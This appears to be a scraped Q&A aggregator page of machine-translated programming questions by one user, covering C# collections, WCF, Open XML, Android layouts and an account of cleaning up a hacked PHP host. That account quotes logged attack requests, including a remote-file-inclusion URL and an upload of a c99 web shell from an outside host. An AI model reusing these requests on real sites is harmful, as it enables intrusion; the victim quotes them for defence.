小编cdo*_*ner的帖子

收集被修改; 枚举操作可能无法执行

我无法理解这个错误的底部,因为当附加调试器时,它似乎不会发生.下面是代码.

这是Windows服务中的WCF服务器.每当存在数据事件时,服务就会调用NotifySubscribers方法(以随机间隔,但不常见 - 每天约800次).

当Windows窗体客户端订阅时,订户ID将添加到订阅者字典中,当客户端取消订阅时,将从字典中删除它.客户端取消订阅时(或之后)发生错误.看来,下次调用NotifySubscribers()方法时,foreach()循环失败并显示主题行中的错误.该方法将错误写入应用程序日志,如下面的代码所示.当附加调试器并且客户端取消订阅时,代码执行正常.

你看到这段代码有问题吗?我是否需要使字典线程安全?

[ServiceBehavior(InstanceContextMode=InstanceContextMode.Single)]
public class SubscriptionServer : ISubscriptionServer
{
    private static IDictionary<Guid, Subscriber> subscribers;

    public SubscriptionServer()
    {            
        subscribers = new Dictionary<Guid, Subscriber>();
    }

    public void NotifySubscribers(DataRecord sr)
    {
        foreach(Subscriber s in subscribers.Values)
        {
            try
            {
                s.Callback.SignalData(sr);
            }
            catch (Exception e)
            {
                DCS.WriteToApplicationLog(e.Message, 
                  System.Diagnostics.EventLogEntryType.Error);

                UnsubscribeEvent(s.ClientId);
            }
        }
    }


    public Guid SubscribeEvent(string clientDescription)
    {
        Subscriber subscriber = new Subscriber();
        subscriber.Callback = OperationContext.Current.
                GetCallbackChannel<IDCSCallback>();

        subscribers.Add(subscriber.ClientId, subscriber);

        return subscriber.ClientId;
    }


    public void UnsubscribeEvent(Guid clientId)
    {
        try
        {
            subscribers.Remove(clientId);
        }
        catch(Exception …
Run Code Online (Sandbox Code Playgroud)

c# concurrency wcf dictionary thread-safety

861
推荐指数
10
解决办法
57万
查看次数

Open XML SDK 2.0 - 如何更新电子表格中的单元格?

我想使用Open XML SDK 2.0(CT​​P)更新图表使用的电子表格中的单元格.我找到的所有代码示例都插入了新的单元格.我正在努力检索正确的工作表.

public static void InsertText(string docName, string text, uint rowIndex, 
  string columnName)
{
  // Open the document for editing.
  using (SpreadsheetDocument spreadSheet = 
    SpreadsheetDocument.Open(docName, true))
  {
    Workbook workBook = spreadSheet.WorkbookPart.Workbook;

    WorksheetPart worksheetPart = workBook.WorkbookPart.
      WorksheetParts.First();

    SheetData sheetData = worksheetPart.Worksheet.
      GetFirstChild<SheetData>();

    // If the worksheet does not contain a row with the specified
    // row index, insert one.
    Row row;

    if (sheetData.Elements<Row>().Where(
      r => r.RowIndex == rowIndex).Count() != 0)
      // At this point I am expecting a match …
Run Code Online (Sandbox Code Playgroud)

c# xml excel sdk

37
推荐指数
3
解决办法
7万
查看次数

Java是否允许可以为空的类型?

在C#中我可以使用变量来允许带有问号的空值.我想要一个true/false/null结果.我希望默认情况下将其设置为null.测试结果将布尔值设置为true/false,但有时测试不会运行,并且java中的布尔值默认为false,因此测试的第3个选项会很好.

c#示例:

bool? bPassed = null;
Run Code Online (Sandbox Code Playgroud)

java有类似的东西吗?

java syntax null

32
推荐指数
6
解决办法
3万
查看次数

Crystal Reports轻松实现MS SQL Server Reporting Services转换

有没有办法轻松将Crystal Reports报表转换为Reporting Services RDL格式?我们有很多报告很快就需要转换.

我知道手动过程(基本上是在SSRS中从头开始重建所有报告),但我的搜索指出了一些与几家咨询公司自动转换"加速"的可能性.(如上所述.... - 链接坏了).

您是否对此特定问题有任何有效的经验或建议?有什么工具我不知道吗?

sql-server migration crystal-reports reporting-services

31
推荐指数
3
解决办法
5万
查看次数

如何在Eclipse 3.5.2中缩进选定的文本块?

我在Visual Studio中使用TAB和Shift-Tab来缩进整个选择.这在Eclipse中没有任何作用,我似乎无法找到另一种方法.

更新:我最初并没有真正关注这一点,并没有正确地提出这个问题.我现在意识到它是在XML文件中,其中TAB仍然没有缩进选择.我没有在属性中找到这个设置,所以我认为这是不可能的.

eclipse

28
推荐指数
2
解决办法
4万
查看次数

在Visual Studio 2013中使用Bootstrap调试响应式Web应用程序时,IE 11会抛出异常

当我调整浏览器窗口的大小并且我达到响应的断点时,这个(动态)方法在第3行引发异常:

window.__BROWSERTOOLS_CONSOLE_SAFEFUNC = function (fn) {
                var returnFn = function () {
                    return fn(arguments);
                };
                return returnFn;
            }
Run Code Online (Sandbox Code Playgroud)

eval代码中第5行第25行的未处理异常

0x80004005 - JavaScript运行时错误:未指定错误.

我认为它的作用是管理媒体查询评估更改的监听器,但参数包含一堆我没有尝试进一步分析的方法.在继续之前,我必须点击大约两十个这些错误.

当浏览器未连接到调试器时,它可以正常工作.是否有其他人遇到此问题,我可以将其关闭吗?

twitter-bootstrap internet-explorer-11 visual-studio-2013

17
推荐指数
1
解决办法
9888
查看次数

无法加载显示名称为"VJSharpCodeProvider"的程序集

我在我的ASP.Net 3.5应用程序中添加了一个AjaxToolkit:AutoCompleteExtender.Web服务位于同一Web应用程序中.现在,当我在VS2008中按F5/Debug时出现此错误,并且到目前为止逐步退出更改尚未显示原因.

我似乎无法摆脱错误.应用程序启动时,一旦运行我就不会注意到任何问题.

BindingFailure was detected
Message: The assembly with display name 'VJSharpCodeProvider' failed to load in 
 the 'LoadFrom' binding context of the AppDomain with ID 4. The cause of the
 failure was:
 System.IO.FileNotFoundException: Could not load file or assembly 
'VJSharpCodeProvider, Version=2.0.0.0, Culture=neutral, 
 PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies. The system 
 cannot find the file specified.
 File name: 'VJSharpCodeProvider, Version=2.0.0.0, Culture=neutral,
 PublicKeyToken=b03f5f7f11d50a3a'

=== Pre-bind state information ===
LOG: DisplayName = VJSharpCodeProvider, Version=2.0.0.0, Culture=neutral,
 PublicKeyToken=b03f5f7f11d50a3a
 (Fully-specified)
Calling assembly : (Unknown).
=== …
Run Code Online (Sandbox Code Playgroud)

c# asp.net visual-studio-2008

15
推荐指数
2
解决办法
2万
查看次数

Android布局问题 - 使用权重的相对宽度百分比

我试图分配相对宽度的列在ListView是在TabHost,使用layout_weight的建议在这里:

<?xml version="1.0" encoding="utf-8"?>
<TabHost xmlns:android="http://schemas.android.com/apk/res/android"
  android:id="@android:id/tabhost"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent">
  <LinearLayout
     android:orientation="vertical"
     android:layout_width="fill_parent"
     android:layout_height="fill_parent">
     <TabWidget android:id="@android:id/tabs"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"/>
        <FrameLayout android:id="@android:id/tabcontent"
           android:layout_width="fill_parent"
           android:layout_height="fill_parent">
           <TableLayout  
              android:id="@+id/triplist" 
              android:layout_width="fill_parent"
              android:layout_height="wrap_content"
              android:paddingTop="4px">
              <TableRow>
                 <ListView android:id="@+id/triplistview"
                    android:layout_width="fill_parent"
                    android:layout_height="wrap_content"/>
              </TableRow>
              <TableRow>
                 <Button android:id="@+id/newtripbutton"
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:text="Add Trip"/>
              </TableRow>
[other tabs ...]
Run Code Online (Sandbox Code Playgroud)

我的行定义有4列,我想按如下方式调整大小:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
   android:layout_width="fill_parent"
   android:layout_height="wrap_content"
   android:orientation="horizontal"
   android:weightSum="1.0"
   android:padding="4px">   
   <TextView android:id="@+id/rowtripdate"
      android:layout_weight=".2"
      android:layout_width="0dip"
      android:layout_height="wrap_content"
      android:inputType="date"/>
   <TextView android:id="@+id/rowodostart"
      android:layout_weight=".2"
      android:layout_width="0dip"
      android:layout_height="wrap_content"/>
   <TextView android:id="@+id/rowodoend"
      android:layout_weight=".2"
      android:layout_width="0dip"
      android:layout_height="wrap_content"/>
   <TextView android:id="@+id/rowcomment"
      android:layout_weight=".4"
      android:layout_width="0dip"
      android:layout_height="wrap_content">
Run Code Online (Sandbox Code Playgroud)

不幸的是,它似乎想要将所有列放入按钮占据的空间,而不是屏幕的宽度.或许还有另一个我不理解的约束.我很感激你的帮助.

替代文字http://heeroz.com/layoutprob.png

layout android

14
推荐指数
1
解决办法
4万
查看次数

PHP注入攻击 - 如何最好地清理混乱?

有一段时间我的共享托管环境遭到入侵,因为我没有修复已安装的应用程序的组合.上周,这是因为一个名为Help Center Live的PHP应用程序的旧的和未使用的安装.结果是服务器上的每个PHP文件(我有几个Wordpress,Joomlas,SilverStripe安装)都添加了代码,从其他网站中提取隐藏链接并将其包含在我的页面中.其他人报告说,在这种攻击之后他们的网站被谷歌禁止了 - 幸运的是我似乎早就抓住了它.当我从手机浏览其中一个网站时,我才注意到它 - 该页面上有移动浏览器中包含的链接.

我在日志中发现了许多像这样的攻击尝试:

62.149.18.193 - [06/Feb/2009:14:52:45 +0000]"GET /support/module.php?module= HelpCenter // include/main.php?config [search_disp] = true&include_dir = http:/ /www.portlandonnuri.com/ 2008_web // technote7/data/photo/id2.txt ??? HTTP/1.1"200 26" - ""libwww-perl/5.814"

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的PHP代码.我还发现该脚本创建了包含其他受感染网站链接的HTML文件.我也删除了它们.现在我担心攻击者可能遗漏了我错过的其他东西 - 某个地方的PHP文件会让他永久访问.文件日期都在攻击中被修改,我找不到在相关时间内更改的任何其他文件.为了确保我的服务器上没有后门,是否有一些我错过的显而易见的东西?

编辑:我还搜索包含攻击代码的文本文件,如上面的日志文件片段中所示.我没找到任何.

另一个编辑:如果你碰巧碰到这篇文章,因为你发现自己处于相同的情况,也许这会对你有所帮助.我用它来备份我的所有PHP源文件,然后再操作它们:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
Run Code Online (Sandbox Code Playgroud)

这是为了撤消攻击者所做的更改:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Run Code Online (Sandbox Code Playgroud)

不是火箭科学,但对于像我这样偶尔的Linux/Unix用户来说也不是微不足道的:-).

另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据.我搜索了所有出现的"eval"和"base64"并没有找到任何看起来不合法的东西.然后我为".ru"运行了一个grep(因为肇事者似乎是从那里来的)而且,看哪,发现了一个叫做c99 shell的东西,我迅速将其移除.

最终编辑:我发现了如何上传c99 shell - 通过Coppermine Photo Gallery中的一个洞.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 …
Run Code Online (Sandbox Code Playgroud)

php code-injection

12
推荐指数
2
解决办法
1万
查看次数

错误绑定Gridview:"当前的TransactionScope已经完成"

我正在从Gridview发送的事件中进行级联删除.删除在交易中.这是简化的代码:

protected void btnDeleteUser_Click(object sender, EventArgs e)
{
    DataContext db;
    db = new DataContext();

    using (TransactionScope ts = new TransactionScope())
    {
        try
        {
            //delete some data
            db.SubmitChanges();

            ts.Complete();
        }
        catch (Exception ex)
        {
            // handle error
        }
        finally
        {
            db.Dispose();
            BindGridView();
        }
    }
}


private void BindGridView()
{
    DataContext db;

    db = new DataContext();

    GridView.DataSource = <my query>

    GridView.DataBind();     <========Exception

    db.Dispose();
}
Run Code Online (Sandbox Code Playgroud)

对网格的DataBind()方法的调用失败,出现此异常:"当前的TransactionScope已经完成." 为什么?

当然,TransactionScope在那时完成,它应该完成.当我删除TransactionScope时,它的工作原理.

c# linq asp.net gridview transactionscope

12
推荐指数
1
解决办法
1万
查看次数